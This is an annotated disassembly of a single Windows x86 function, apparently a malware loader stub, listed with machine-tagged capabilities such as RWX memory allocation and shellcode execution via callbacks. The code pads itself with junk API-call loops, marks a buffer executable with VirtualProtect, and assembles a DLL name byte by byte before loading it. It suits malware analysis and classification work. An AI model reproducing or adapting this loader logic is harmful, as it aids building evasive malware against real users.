Function at 0x4a2d50
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a5716
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2468
call fcn.0040e8c0
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e2f9
jge 0x4a2d9e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a8536
jle 0x4a2dba
cmp dword [esp + 0x14], 0xbf0f9c
je 0x4a2dba
cmp dword [esp + 0x3c], 0x9050fe8
jne 0x4a2dc3
inc esi
cmp esi, 0x98abe
jl 0x4a2d90
cmp dword [0x23016cc], 0xcf8
jne 0x4a2ec6
push edi
push edi
push edi
call fcn.00405695
add esp, 0xc
push 0x403634
push edi
call fcn.00405695
push edi
push edi
push edi
push edi
call fcn.00405352
push edi
call fcn.0040565a
add esp, 0x1c
push edi
call fcn.00405217
add esp, 4
push edi
call fcn.0040568a
add esp, 4
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x2484], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4a2e36
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4a2e50
push 0x403a00
call fcn.004049ab
cmp esi, 0xf
jbe 0x4a2e63
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00404790
jmp 0x4a2e70
cmp esi, edi
jne 0x4a2e72
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x4a2ead
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x4a2e8c
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040b480
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x4a2ea9
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x4a2ec0
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405752
add esp, 4
push edi
call fcn.00405608
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x4a2ef3
mov eax, 0x5d1
add dword [0x23016cc], eax
cmp dword [0x23016cc], 3
jne 0x4a2f0f
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x7c]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4a2ee0
mov eax, dword [0x23016cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4c485c], eax
mov eax, dword [0x23016cc]
xor esi, esi
test eax, eax
je 0x4a2fa8
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
cmp eax, 0xfe
jne 0x4a2f71
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x484]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.004a2ad0
mov eax, dword [0x23016cc]
cmp eax, 0x29
jne 0x4a2fa3
lea eax, [esp + 0x20]
push eax
push 0
push 0x403640
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x23016cc]
inc esi
cmp esi, eax
jb 0x4a2f48
cmp eax, 0x70
jne 0x4a305c
push 0x4036a8
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4036e8
push 0x403720
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x4037cc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea eax, [esp + 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0xc7c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call edi
push 0x403808
push 0x4038f8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x23016cc]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov ebp, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov dword [esp + 0x14], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x4a30b0
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0xc84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea ecx, [esp + 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x23016cc]
cmp eax, 0xdf
jne 0x4a31c5
lea edx, [esp + 0x20]
push edx
push 0x403930
push 0
call esi
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
call edi
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0xc80]
push edx
push 0
push 0
call ebx
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
lea ecx, [esp + 0x7c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea edx, [esp + 0x147c]
push edx
push 0x4039b0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x47c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c7c]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea eax, [esp + 0x38]
push 0
push eax
mov dword [esp + 0x3c], 0
call fcn.00406960
add esp, 0xc
push 0
lea ecx, [esp + 0x34]
push ecx
push 0x4039f4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x23016cc]
dec dword [esp + 0x14]
jne 0x4a3080
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x4a31e6
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x4a3210
cmp dword [0x23016cc], 0x222
jne 0x4a3220
push 0
call esi
dec edi
jne 0x4a3210
mov eax, dword [0x23016cc]
mov ecx, dword [0x4c485c]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x4bfac8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a2d00
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x23016cc], 0xba
jne 0x4a326a
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a3277
call fcn.004a2ab0
inc esi
cmp esi, 0x1605a
jl 0x4a3251
mov eax, 0x73
mov ecx, 0x6d
mov word [0x22f770a], ax
mov word [0x22f770e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x22f7712], dx
mov word [0x22f771e], cx
mov word [0x22f7710], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x22f7708
mov dword [0x22f7718], 0x6c0064
mov word [0x22f770c], cx
mov word [0x22f7708], dx
mov word [0x22f771c], ax
mov dword [0x22f7714], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x23016cc], 0xc30
jne 0x4a339c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea eax, [esp + 0x1c7c]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
lea edx, [esp + 0x484]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0xc7c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x247c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret